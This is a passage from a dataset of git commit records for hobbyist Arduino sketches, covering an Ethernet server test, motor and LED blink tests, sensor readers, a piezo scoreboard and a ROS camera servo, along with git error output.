verification\n","repos":"sanyaade-iot\/Energia,vigneshmanix\/Energia,danielohh\/Energia,battosai30\/Energia,martianmartin\/Energia,danielohh\/Energia,brianonn\/Energia,martianmartin\/Energia,danielohh\/Energia,DavidUser\/Energia,bobintornado\/Energia,sanyaade-iot\/Energia,NoPinky\/Energia,croberts15\/Energia,sanyaade-iot\/Energia,radiolok\/Energia,bobintornado\/Energia,brianonn\/Energia,qtonthat\/Energia,bobintornado\/Energia,vigneshmanix\/Energia,cevatbostancioglu\/Energia,sanyaade-iot\/Energia,dvdvideo1234\/Energia,vigneshmanix\/Energia,radiolok\/Energia,croberts15\/Energia,danielohh\/Energia,brianonn\/Energia,NoPinky\/Energia,dvdvideo1234\/Energia,martianmartin\/Energia,dvdvideo1234\/Energia,dvdvideo1234\/Energia,battosai30\/Energia,bobintornado\/Energia,battosai30\/Energia,radiolok\/Energia,croberts15\/Energia,dvdvideo1234\/Energia,martianmartin\/Energia,dvdvideo1234\/Energia,battosai30\/Energia,qtonthat\/Energia,brianonn\/Energia,radiolok\/Energia,martianmartin\/Energia,qtonthat\/Energia,cevatbostancioglu\/Energia,DavidUser\/Energia,croberts15\/Energia,NoPinky\/Energia,qtonthat\/Energia,radiolok\/Energia,DavidUser\/Energia,bobintornado\/Energia,sanyaade-iot\/Energia,DavidUser\/Energia,cevatbostancioglu\/Energia,battosai30\/Energia,croberts15\/Energia,cevatbostancioglu\/Energia,qtonthat\/Energia,danielohh\/Energia,radiolok\/Energia,qtonthat\/Energia,sanyaade-iot\/Energia,battosai30\/Energia,sanyaade-iot\/Energia,DavidUser\/Energia,croberts15\/Energia,danielohh\/Energia,cevatbostancioglu\/Energia,vigneshmanix\/Energia,bobintornado\/Energia,brianonn\/Energia,NoPinky\/Energia,cevatbostancioglu\/Energia,battosai30\/Energia,qtonthat\/Energia,DavidUser\/Energia,radiolok\/Energia,NoPinky\/Energia,dvdvideo1234\/Energia,cevatbostancioglu\/Energia,brianonn\/Energia,NoPinky\/Energia,vigneshmanix\/Energia,DavidUser\/Energia,danielohh\/Energia,martianmartin\/Energia,vigneshmanix\/Energia,brianonn\/Energia,NoPinky\/Energia,croberts15\/Energia,vigneshmanix\/Energia,bobintornado\/Energia,martianmartin\/Energia","old_file":"hardware\/lm4f\/variants\/launchpad_129\/tests\/TestEthernetServer\/TestEthernetServer.ino","new_file":"hardware\/lm4f\/variants\/launchpad_129\/tests\/TestEthernetServer\/TestEthernetServer.ino","new_contents":"#include <Ethernet.h>\n\nbyte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };\nIPAddress ip(192,168,1,177);\n\nEthernetServer server(23);\n\nvoid setup() {\n Serial.begin(9600);\n Serial.println(\"\\nTestEthernetServer setup\");\n Ethernet.begin(mac, ip);\n server.begin();\n Serial.print(\"ip:port \");\n Serial.print(Ethernet.localIP());\n Serial.println(\":23\");\n}\n\n\nvoid loop() {\n EthernetClient client = server.available();\n if (client) {\n client.println(\"Welcome\");\n boolean currentLineIsBlank = true;\n while (client.connected()) {\n if (client.available()) {\n char c = client.read();\n Serial.write(c);\n if (c == 'x') {\n client.println(\"Bye\");\n delay(100);\n client.stop();\n break;\n }\n }\n }\n delay(1);\n client.stop();\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'hardware\/lm4f\/variants\/launchpad_129\/tests\/TestEthernetServer\/TestEthernetServer.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"bf8507a383ad3d6b91fd40c540c8b06f4efd489d","subject":"Changed KEEP_ALIVE_INTERVAL to 2 seconds. This will give the host more time to send the message.","message":"Changed KEEP_ALIVE_INTERVAL to 2 seconds. This will give the host more time to send the message.\n","repos":"RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi","old_file":"c++\/UziFirmware\/UziFirmware.ino","new_file":"c++\/UziFirmware\/UziFirmware.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/RichoM\/Uzi.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"5ccc65731544dd5e77ee24ae8eb2eb35ddfc3223","subject":"Example Code","message":"Example Code\n","repos":"MultimedYam\/SensorTool","old_file":"SensorSketch\/SensorSketch.ino","new_file":"SensorSketch\/SensorSketch.ino","new_contents":"#include <SensorTool.h>\n\nSensor SensorList[2] =\n{\n Sensor(A0, Analog),\n Sensor(7, Digital)\n};\nvoid setup() {\n Serial.begin(9600);\n}\n\nvoid loop() {\n int sensorValue = SensorList[0].Read();\n Serial.println(sensorValue);\n delay(500);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SensorSketch\/SensorSketch.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"94ab9794dbf8ab37b7d1f015d2be602b2a502dc0","subject":"Added files via upload","message":"Added files via upload","repos":"RoCTCNJ\/FireFighter","old_file":"Motor_Test.ino","new_file":"Motor_Test.ino","new_contents":"\n\/\/int switchPin = 12; \/\/ Pin for switch \nint motor1Pin1 = 2; \/\/ left backwards (white wire)\nint motor1Pin2 = 3; \/\/ left forwards (brown wire)\nint motor2Pin2 = 4; \/\/ right backwards (red wire) \nint motor2Pin1 = 5; \/\/ right forwards (black wire)\n\n\nvoid setup() {\n \/\/pinMode(switchPin, INPUT);\n pinMode(motor1Pin2, OUTPUT);\n pinMode(motor1Pin1, OUTPUT);\n pinMode(motor2Pin2, OUTPUT);\n pinMode(motor2Pin1, OUTPUT);\n\n Serial.begin(9600);\n \/\/digitalWrite(motor1Pin1, HIGH);\n \/\/digitalWrite(motor1Pin2, HIGH);\n \/\/digitalWrite(motor2Pin1, HIGH);\n \/\/digitalWrite(motor2Pin2, HIGH);\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n digitalWrite(motor1Pin1, HIGH); \/\/motor 1 will go forward then delay for 1 second\n digitalWrite(motor1Pin2, LOW); \n digitalWrite(motor2Pin1, LOW); \n digitalWrite(motor2Pin2, LOW); \n delay(2000);\n digitalWrite(motor1Pin1, LOW);\n digitalWrite(motor1Pin2, HIGH); \/\/motor 1 will go backward then delay for 1 second\n digitalWrite(motor2Pin1, LOW); \n digitalWrite(motor2Pin2, LOW); \n delay(2000);\n digitalWrite(motor1Pin1, LOW);\n digitalWrite(motor1Pin2, LOW); \n digitalWrite(motor2Pin1, HIGH); \/\/motor 2 will go forward then delay for 1 second\n digitalWrite(motor2Pin2, LOW); \n delay(2000);\n digitalWrite(motor1Pin1, LOW);\n digitalWrite(motor1Pin2, LOW); \n digitalWrite(motor2Pin1, LOW); \n digitalWrite(motor2Pin2, HIGH); \/\/motor 2 will go backward then delay for 1 second\n delay(2000);\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Motor_Test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6cb9fb9abc57fcf9f78729bb090172ff8d49446e","subject":"Added Indicator Lights","message":"Added Indicator Lights\n\nAdded indicator lights for set up \/ GPS fix \/ status as well as fixed\nGPS fix timeout.\n","repos":"tylergrreid\/Arduino_Flight_Computer,tylergrreid\/Arduino_Flight_Computer,tylergrreid\/Arduino_Flight_Computer","old_file":"Balloon_Flight_Computer\/Balloon_Flight_Computer.ino","new_file":"Balloon_Flight_Computer\/Balloon_Flight_Computer.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tylergrreid\/Arduino_Flight_Computer.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"477bb628e539a5979dc72d96a6997535935ab527","subject":"Add files via upload","message":"Add files via upload\n\nA variety of different ways to blink a pixel using FastLED.","repos":"marmilicious\/FastLED_examples","old_file":"blink_variations.ino","new_file":"blink_variations.ino","new_contents":"\/\/***************************************************************\r\n\/\/ Blink some pixels on and off.\r\n\/\/ A variety of different ways to blink individual pixels.\r\n\/\/ Something you might use for a beacon or indicator light or\r\n\/\/ put in a spaceship model kit.\r\n\/\/\r\n\/\/ Some are more straight forward then others. Just having fun\r\n\/\/ making up a variety of ways to blink a pixel.\r\n\/\/\r\n\/\/ Be aware that pixel numbers are hard coded in these examples.\r\n\/\/ Change as needed for your setup.\r\n\/\/\r\n\/\/ Marc Miller, Aug 2021\r\n\/\/***************************************************************\r\n\r\n\r\n#include \"FastLED.h\"\r\n#define DATA_PIN 11\r\n#define CLOCK_PIN 13\r\n#define LED_TYPE LPD8806\r\n#define COLOR_ORDER GRB\r\n#define NUM_LEDS 32\r\n#define BRIGHTNESS 128\r\nCRGB leds[NUM_LEDS];\r\n\r\n\r\n\/\/---------------------------------------------------------------\r\nvoid setup() {\r\n Serial.begin(115200); \/\/ Allows serial monitor output\r\n delay(1500); \/\/ startup delay\r\n FastLED.addLeds<LED_TYPE,DATA_PIN,CLOCK_PIN,COLOR_ORDER>(leds, NUM_LEDS).setCorrection(TypicalLEDStrip);\r\n FastLED.setBrightness(BRIGHTNESS);\r\n FastLED.clear();\r\n FastLED.show();\r\n Serial.println(\"\\nSetup done. \\n\");\r\n}\r\n\r\n\r\n\/\/---------------------------------------------------------------\r\nvoid loop() {\r\n\r\n\r\n EVERY_N_MILLISECONDS(1200) { \/\/ change the state every 1200ms\r\n static boolean ps0; \/\/ stores the pixel state\r\n ps0 = !ps0; \/\/ toggle on\/off state\r\n if (ps0 == 1) {\r\n leds[0] = CRGB::Yellow;\r\n } else {\r\n leds[0] = CRGB::Black;\r\n }\r\n }\r\n\r\n\r\n\r\n EVERY_N_MILLISECONDS(400) {\r\n \/\/ Is the pixel on? \r\n if ( leds[1] ) {\r\n \/\/ yes, then turn it off\r\n leds[1] = CRGB(0,0,0);\r\n } else {\r\n \/\/ no, then turn it on\r\n leds[1] = CRGB::Green;\r\n }\r\n }\r\n\r\n\r\n\r\n \/\/ A blink with uneven on\/off times\r\n EVERY_N_MILLISECONDS(333) {\r\n static boolean stateA = 0;\r\n static boolean stateB = 1;\r\n stateA = !stateA;\r\n if (stateA == 1) {\r\n stateB = !stateB;\r\n }\r\n if (stateA && stateB) {\r\n leds[2] = CHSV(210,220,255);\r\n } else {\r\n leds[2] = CHSV(192,255,140);\r\n }\r\n }\r\n\r\n\r\n\r\n \/\/ A three state blink\r\n EVERY_N_MILLISECONDS(250) {\r\n static uint8_t ps2;\r\n if (ps2 < 4) {\r\n leds[3] = CRGB::Black;\r\n } else {\r\n if ( ps2 % 2 == 0) {\r\n leds[3] = CRGB::Aqua;\r\n } else {\r\n leds[3] = CRGB::Blue;\r\n }\r\n }\r\n ps2++;\r\n if (ps2 == 9) { ps2 = 0; } \/\/ reset\r\n }\r\n\r\n\r\n\r\n \/\/ Several experiments with variable timmers\r\n\r\n\r\n \/\/ This is a fun pattern that uses two pixels next to eachother.\r\n static boolean pMode = 0;\r\n static boolean flip = 0;\r\n EVERY_N_MILLISECONDS_I( timingA, 1) {\r\n \/\/ This initally defaults to 1 millisecond, but then will\r\n \/\/ imediately use the timingA.setPeriod times below.\r\n \/\/ You can name \"timingA\" anything you want.\r\n pMode = !pMode;\r\n if (pMode) {\r\n timingA.setPeriod(450);\r\n } else {\r\n timingA.setPeriod(1400);\r\n }\r\n }\r\n EVERY_N_MILLISECONDS(40) {\r\n if (pMode) {\r\n flip = !flip;\r\n if (flip) {\r\n leds[4] = CHSV(55,160,200);\r\n leds[5] = CHSV(0,0,0);\r\n } else {\r\n leds[4] = CHSV(0,0,0);\r\n leds[5] = CHSV(55,160,200);\r\n }\r\n } else {\r\n leds[4] = CHSV(0,0,0);\r\n leds[5] = CHSV(0,0,0);\r\n }\r\n }\r\n\r\n\r\n\r\n static boolean blink6;\r\n \/\/ vary the setPeriods to change on\/off times\r\n EVERY_N_MILLISECONDS_I(timingB,1) {\r\n blink6 = !blink6;\r\n }\r\n if (blink6 == 1) {\r\n leds[6] = CRGB::Red;\r\n timingB.setPeriod(750); \/\/ On time\r\n } else {\r\n leds[6] = CRGB::Black;\r\n timingB.setPeriod(250); \/\/ Off time\r\n }\r\n\r\n\r\n\r\n \/\/ blink with a fadeout\r\n static boolean pulse = 0;\r\n EVERY_N_MILLISECONDS_I( timingFade, 1) {\r\n pulse = !pulse;\r\n if (pulse) {\r\n timingFade.setPeriod(700); \/\/ time to hold before fading\r\n leds[7] = CHSV(40, 245, 255);\r\n } else {\r\n timingFade.setPeriod(1000);\r\n }\r\n }\r\n if (pulse == 0) {\r\n EVERY_N_MILLISECONDS(10) {\r\n leds[7].fadeToBlackBy(12); \/\/ fade out\r\n }\r\n }\r\n\r\n\r\n\r\n \/\/ This one is probably overly complicated, but it came\r\n \/\/ from an older project where I needed to make a very\r\n \/\/ specific blink pattern.\r\n static boolean blinkState = LOW;\r\n static boolean blinkGate1 = LOW;\r\n static boolean blinkGate2 = HIGH;\r\n static int8_t blinkCount = -1;\r\n EVERY_N_MILLISECONDS_I(timingDbl, 500) {\r\n blinkCount++;\r\n if (blinkCount == 6) { blinkCount = 0; } \/\/ reset count\r\n blinkGate2 = blinkCount;\r\n blinkState = !blinkState;\r\n blinkGate1 = !blinkGate1;\r\n if (blinkCount == 2 || blinkCount == 3) {\r\n timingDbl.setPeriod( 50 );\r\n } else if (blinkCount == 4) {\r\n timingDbl.setPeriod( 405 );\r\n } else {\r\n timingDbl.setPeriod( 167 );\r\n }\r\n \/\/ leds8 is the original blink pattern\r\n \/\/ leds9 is an interesting alternate version\r\n if (blinkState * blinkGate1 * blinkGate2) {\r\n leds[8] = CHSV(0,230,200); \/\/ The original red blink\r\n leds[9] = CRGB::Black;\r\n } else {\r\n leds[8] = CHSV(0,0,0);\r\n leds[9] = CHSV(0,0,200);\r\n }\r\n }\r\n if (blinkCount == 5) {\r\n leds[9] = CHSV(0,0,0);\r\n }\r\n\r\n\r\n\r\n \r\n \/\/ Driving on\/off with wave functions\r\n\r\n \/\/ Blinks with some ramping. Change bpm to change speed\r\n uint8_t valueBS = beatsin8(60,0,255); \/\/ (bpm, low, high)\r\n if (valueBS > 50) {\r\n leds[10] = CHSV(100,170,valueBS);\r\n } else {\r\n leds[10] = CRGB::Black;\r\n }\r\n if (valueBS > 180) {\r\n leds[11] = CHSV(180,65,valueBS);\r\n } else {\r\n leds[11] = CRGB::Black;\r\n }\r\n\r\n\r\n\r\n uint8_t valueTW = triwave8(millis()\/4); \/\/ Divide millis by more or less to change speed.\r\n if (valueTW > 30) { \/\/ The pixel will mostly be On.\r\n leds[12] = CHSV(150,255,255);\r\n } else {\r\n leds[12] = CRGB::Black;\r\n }\r\n if (valueTW > 230) { \/\/ An inverted version where pixel will mostly be Off.\r\n leds[13] = CRGB::Yellow;\r\n } else {\r\n leds[13] = CRGB::Black;\r\n }\r\n\r\n\r\n\r\n \/\/ This was pleasingly simple. Divide millis by more or less to change speed.\r\n uint8_t valueSW = squarewave8(millis()\/6, 128); \/\/ (input, pulsewidth[0-255])\r\n leds[14] = CHSV(120,255,valueSW);\r\n\r\n\r\n\r\n \/\/ This blink speeds up and then slows back down.\r\n static boolean blinkUp;\r\n const uint16_t bSlow = 350;\r\n const uint16_t bFast = 50;\r\n uint16_t bCurrent = beatsin16(5,0,65535);\r\n bCurrent = map(bCurrent,0,65535,bFast,bSlow);\r\n EVERY_N_MILLISECONDS_I(timingUp,bSlow) {\r\n blinkUp = !blinkUp;\r\n timingUp.setPeriod(bCurrent);\r\n }\r\n if (blinkUp == 1) {\r\n leds[15] = CHSV(160,145,200);\r\n } else {\r\n leds[15] = CRGB::Black;\r\n }\r\n\r\n\r\n \r\n FastLED.show();\r\n\r\n delay(1); \/\/ this can be deleted as needed\r\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'blink_variations.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7e78597915b1e4c47d3390ab85ef94868f68c423","subject":"Added pokeball","message":"Added pokeball\n","repos":"estefanniegg\/estefannieExplainsItAll,estefanniegg\/estefannieExplainsItAll,estefanniegg\/estefannieExplainsItAll,estefanniegg\/estefannieExplainsItAll,estefanniegg\/estefannieExplainsItAll","old_file":"hacks\/oneHourMakeInOneMinute\/pokeball.ino","new_file":"hacks\/oneHourMakeInOneMinute\/pokeball.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/estefanniegg\/estefannieExplainsItAll.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"61c4e3a4932fb3357a131edd7e2bc56136e23b5b","subject":"Update pt_remote controlled car2.ino","message":"Update pt_remote controlled car2.ino","repos":"billhhh\/bill_ProtoThreads_arduino,billhhh\/bill_ProtoThreads_arduino,billhhh\/bill_ProtoThreads_arduino","old_file":"pt_remote controlled car\/pt_remote controlled car2.ino","new_file":"pt_remote controlled car\/pt_remote controlled car2.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'pt_remote' did not match any file(s) known to git\nerror: pathspec 'controlled' did not match any file(s) known to git\nerror: pathspec 'car\/pt_remote' did not match any file(s) known to git\nerror: pathspec 'controlled' did not match any file(s) known to git\nerror: pathspec 'car2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ad5399e2931ae2823ef5c2a0d1080184a3addda5","subject":"Increased output delays so I can record numbers by hand.","message":"Increased output delays so I can record numbers by hand.\n","repos":"tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random","old_file":"Motor Speed\/testMeasurementSpeeds\/testMeasurementSpeeds.ino","new_file":"Motor Speed\/testMeasurementSpeeds\/testMeasurementSpeeds.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Motor' did not match any file(s) known to git\nerror: pathspec 'Speed\/testMeasurementSpeeds\/testMeasurementSpeeds.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fb4f01beab46fc9b329532a4b8062d7147ccc7dd","subject":"preparing for moving machines","message":"preparing for moving machines\n","repos":"Greh\/cockroaches","old_file":"hbridge2wlights\/hbridge2wlights.ino","new_file":"hbridge2wlights\/hbridge2wlights.ino","new_contents":"int RTLpin = 23; \nint RTRpin = 22; \n\/\/int LTLpin = 21; \n\/\/int LTRpin = 20; \n\/\/int LBLpin = 16; \n\/\/int LBRpin = 15; \nint RBLpin = 14; \nint RBRpin = 13; \nint delayspd = 1000; \nint spinspd = 256; \n\nvoid setup(){\n pinMode(RTLpin, OUTPUT);\n pinMode(RTRpin, OUTPUT);\n\/\/ pinMode(LTLpin, OUTPUT);\n\/\/ pinMode(LTRpin, OUTPUT);\n\/\/ pinMode(LBLpin, OUTPUT);\n\/\/ pinMode(LBRpin, OUTPUT);\n pinMode(RBLpin, OUTPUT);\n pinMode(RBRpin, OUTPUT);\n}\n\nvoid loop() {\n \/\/turn everything off \n\/\/ digitalWrite(LBLpin, HIGH);\n\/\/ digitalWrite(LBRpin, HIGH); \n digitalWrite(RBLpin, HIGH);\n digitalWrite(RBRpin, HIGH); \n \/\/forward \n\/\/ digitalWrite(LBRpin, LOW); \n digitalWrite(RBLpin, LOW);\n\/\/ analogWrite(LTLpin, spinspd); \n analogWrite(RTRpin, spinspd); \n delay(delayspd); \n\/\/ analogWrite(LTLpin, 0); \n analogWrite(RTRpin, 0);\n\/\/ digitalWrite(LBRpin, HIGH);\n digitalWrite(RBLpin, HIGH);\n delay(delayspd); \n \/\/backward\n\/\/ digitalWrite(LBLpin, LOW); \n digitalWrite(RBRpin, LOW);\n\/\/ analogWrite(LTRpin, spinspd); \n analogWrite(RTLpin, spinspd); \n delay(delayspd); \n\/\/ analogWrite(LTRpin, 0); \n analogWrite(RTLpin, 0);\n\/\/ digitalWrite(LBLpin, HIGH);\n digitalWrite(RBRpin, HIGH);\n delay(delayspd); \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'hbridge2wlights\/hbridge2wlights.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c5f8afb3ddb599169b3b7fbaef5123a4a71c335a","subject":"just a quick rc control test","message":"just a quick rc control test\n","repos":"sgooding\/ChinaBot","old_file":"RCControlTest\/RCControlTest.ino","new_file":"RCControlTest\/RCControlTest.ino","new_contents":"int sensorPin = A0; \/\/ select the input pin for the potentiometer\nunsigned long duration;\nvoid setup() {\n \/\/ put your setup code here, to run once:\n pinMode(sensorPin, INPUT);\n Serial.begin(9600);\n\n\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n duration = pulseIn(sensorPin, HIGH);\n Serial.println(duration);\n delay(100);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'RCControlTest\/RCControlTest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"36e6cb3da4db7648ac14d8be40451825ff88f849","subject":"piezo hit counter to scoreboard","message":"piezo hit counter to scoreboard\n","repos":"DefProc\/mfuklc,DefProc\/mfuklc,DefProc\/mfuklc","old_file":"range\/arduino\/piezo_score_test\/piezo_score_test.ino","new_file":"range\/arduino\/piezo_score_test\/piezo_score_test.ino","new_contents":"\/* Records inputs from a piezo knock sensor and displays cumulative hit count *\/\n\n#define BAUD 9600\n#define RESEND_TIMER 100\n#define DEBOUNCE_LIMIT 100\n#define IN INT0\n\nunsigned long last_send = 0UL;\nvolatile unsigned long last_strike = 0UL;\nvolatile boolean report_score = false;\nvolatile int counter = 0;\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n pinMode(IN, INPUT);\n pinMode(LED_BUILTIN, OUTPUT);\n \n Serial1.begin(BAUD);\n delay(100);\n \n \/\/ reset the scoreboard to zero on startup\n Serial1.println(F(\"Z\"));\n \n attachInterrupt(IN, piezo, RISING);\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n if (report_score == true || millis() - last_send >= RESEND_TIMER) {\n Serial1.print(F(\"D\"));\n Serial1.println(counter);\n report_score = false;\n last_send = millis();\n }\n}\n\nvoid piezo() {\n if (millis() - last_strike >= DEBOUNCE_LIMIT) {\n report_score = true;\n counter++;\n last_strike = millis();\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'range\/arduino\/piezo_score_test\/piezo_score_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8208ad30fdbfeb41c2fa3c703c6166093e1dc067","subject":"arduino main","message":"arduino main\n","repos":"JasonQSong\/SoulDistance,JasonQSong\/SoulDistance,JasonQSong\/SoulDistance,JasonQSong\/SoulDistance,JasonQSong\/SoulDistance,JasonQSong\/SoulDistance,JasonQSong\/SoulDistance","old_file":"arduino\/main\/main.ino","new_file":"arduino\/main\/main.ino","new_contents":"void setup() {\n \/\/ put your setup code here, to run once:\n\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/main\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0f1c07d6b092044583ca0ad2bbf527eb2e9a9561","subject":"Create AD9850SPI.ino","message":"Create AD9850SPI.ino","repos":"F4GOJ\/AD9850SPI","old_file":"examples\/AD9850SPI.ino","new_file":"examples\/AD9850SPI.ino","new_contents":"#include <AD9850SPI.h>\n#include <SPI.h>\n\nconst int W_CLK_PIN = 13;\nconst int FQ_UD_PIN = 8;\nconst int RESET_PIN = 9;\n\ndouble freq = 10000000;\ndouble trimFreq = 124999500;\n\nint phase = 0;\n\nvoid setup(){\n DDS.begin(W_CLK_PIN, FQ_UD_PIN, RESET_PIN);\n DDS.calibrate(trimFreq);\n}\n\nvoid loop(){\n DDS.setfreq(freq, phase);\n delay(10000);\n DDS.down();\n delay(3000);\n DDS.up();\n delay(2000);\n DDS.setfreq(freq + 500, phase);\n delay(5000);\n DDS.down();\n while(1);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/AD9850SPI.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"014b625f15706eb5dec6d32a1d5e936d8b7289bc","subject":"\u6444\u50cf\u5934\u4e91\u5e73\u53f0\uff08\u8235\u673a\uff09","message":"\u6444\u50cf\u5934\u4e91\u5e73\u53f0\uff08\u8235\u673a\uff09\n","repos":"Tarsbot\/RabbitArduino,Tarsbot\/RabbitArduino","old_file":"servo_camera\/servo_camera.ino","new_file":"servo_camera\/servo_camera.ino","new_contents":"\/*\ngongwenbo in tarsbot 11.4 at yangling\n\nPin description:\nhorizontal angle port is 9\nvertical angle port is 10\n*\/\n\n#if (ARDUINO >= 100)\n #include <Arduino.h>\n#else\n #include <WProgram.h>\n#endif\n\n#include <Servo.h> \n#include <ros.h>\n#include <dependant_api\/robotcmd_motor.h> \/\/publish ros message \n#include <dependant_api\/arduino_motor.h> \/\/subscribe ros message\n\ndependant_api::arduino_motor call_a_msg; \/\/define subscribe ros message\nint temp_vertical= 0; \/\/vertical temporary parameters\nint temp_horizontal= 0; \/\/ horizontal temporary parameter\nint flag_save_ver_angle=20; \/\/ initial vertical angle\nint flag_h=90; \/\/ initial horizontal angle \nros::NodeHandle nh;\nros::Publisher chatter(\"\/arduino\/motor\", &call_a_msg);\n\nServo servo_vertical; \/\/define vertical servo\nServo servo_horizontal; \/\/define horizontal servo\n\nvoid servo_cb(const dependant_api::robotcmd_motor& cmd_msg)\n{ \n \n call_a_msg.id=cmd_msg.id;\n flag_h=cmd_msg.hor_angle;\n flag_save_ver_angle=cmd_msg.ver_angle;\n if (flag_save_ver_angle>130) flag_save_ver_angle=130; \/\/ the rang of vertical angle is 0~130 \n \n digitalWrite(13, HIGH-digitalRead(13)); \/\/toggle led \n}\n\n\nros::Subscriber<dependant_api::robotcmd_motor> sub(\"\/robotcmd\/motor\", servo_cb);\n\nvoid setup(){\n pinMode(13, OUTPUT);\n\n nh.initNode();\n nh.subscribe(sub);\n nh.advertise(chatter);\n \n servo_vertical.attach(10); \/\/attach vertical servo to pin 9\n servo_horizontal.attach(9); \/\/attach horiziontal servo to pin 10\n}\n\nvoid loop(){\n nh.spinOnce();\n \n \n if (flag_save_ver_angle>temp_vertical) temp_vertical++; \/\/----------------deceletate vertical servo speed--------------------\/\/\n else if(flag_save_ver_angle<temp_vertical) temp_vertical--;\n else temp_vertical=flag_save_ver_angle; \/\/----------------deceletate vertical servo speed--------------------\/\/\n \n if (flag_h>temp_horizontal) temp_horizontal++; \/\/----------------deceletate horizontal servo speed--------------------\/\/\n else if(flag_h<temp_horizontal) temp_horizontal--;\n else temp_horizontal=flag_h; \/\/----------------deceletate horizontal servo speed--------------------\/\/\n \n servo_vertical.write(180-temp_vertical); \/\/adjust servo orientation\n delay (10); \/\/the frequence of scanning\n servo_horizontal.write(temp_horizontal);\n delay (10);\n \n call_a_msg.ret_hor= flag_h; \/\/-------------------------feed back servo angle-------------------\/\/\n call_a_msg.ret_ver=180-flag_save_ver_angle;\n \n if (call_a_msg.ret_hor==temp_horizontal) call_a_msg.ret_hor=0;\n else call_a_msg.ret_hor=1;\n if(call_a_msg.ret_ver=(180-temp_vertical)) call_a_msg.ret_ver=0;\n else call_a_msg.ret_ver=1; \n \n chatter.publish( &call_a_msg ); \/\/-------------------------feed back servo angle-------------------\/\/\n \n \n \n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'servo_camera\/servo_camera.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c91142ae80af7be9e86f91d56dd75df16ffbda9f","subject":"Create 4ledblink.ino","message":"Create 4ledblink.ino","repos":"JarvisDP\/ArduinoGarbage","old_file":"sFDW\/examples\/4ledblink.ino","new_file":"sFDW\/examples\/4ledblink.ino","new_contents":"\/*\n Blink sketch for sFDW library\n Turns on an 4 LEDs on for one second in sequence, \n then off all at once, then on all at once, after on all at once,\n and turn off all 4 LEDs separately. \n And all this actions repeatedly.\n Functions of this library:\n\t- sPin(pin \u2116, pin HIGH\/LOW status <1\/0> )\n\t- mPinsStateHigh(pins numbers for HIGH state switch, as array - separate by \",\")\n\t- mPinsStateLow(pins numbers for LOW state switch, as array - separate by \",\")\n Created by Dmitry Pogudo-Georgov, December 3, 2014.\n This example code is in the public domain.\n *\/\n \n\/\/ Pins 6,7,8,9 has an LEDs connected on most Arduino boards.\n#include <sFDW.h>\n\n\/\/ the setup routine runs once when you press reset:\nvoid setup() {}\n\n\/\/ the loop routine runs over and over again forever:\nvoid loop() {\n sFDW.sPin(6,1); \/\/ turn the LED on (HIGH is the voltage level)\n delay(1000); \/\/ wait for a second\n sFDW.sPin(7,1);\n delay(1000);\n sFDW.sPin(8,1);\n delay(1000);\n sFDW.sPin(9,1);\n delay(1000);\n \n sFDW.mPinsStateLow(6,7,8,9); \/\/ turn the LED off by making the voltage LOW in all ours pins\n delay(1000); \/\/ wait for a second\n \n sFDW.mPinsStateHigh(6,7,8,9); \/\/ turn the LED on by making the voltage HIGH in all ours pins\n delay(1000); \/\/ wait for a second\n \n sFDW.sPin(6,0); \/\/ turn the LED off (LOW is the voltage level)\n delay(1000); \/\/ wait for a second\n sFDW.sPin(7,0);\n delay(1000);\n sFDW.sPin(8,0);\n delay(1000);\n sFDW.sPin(9,0);\n delay(1000);\n 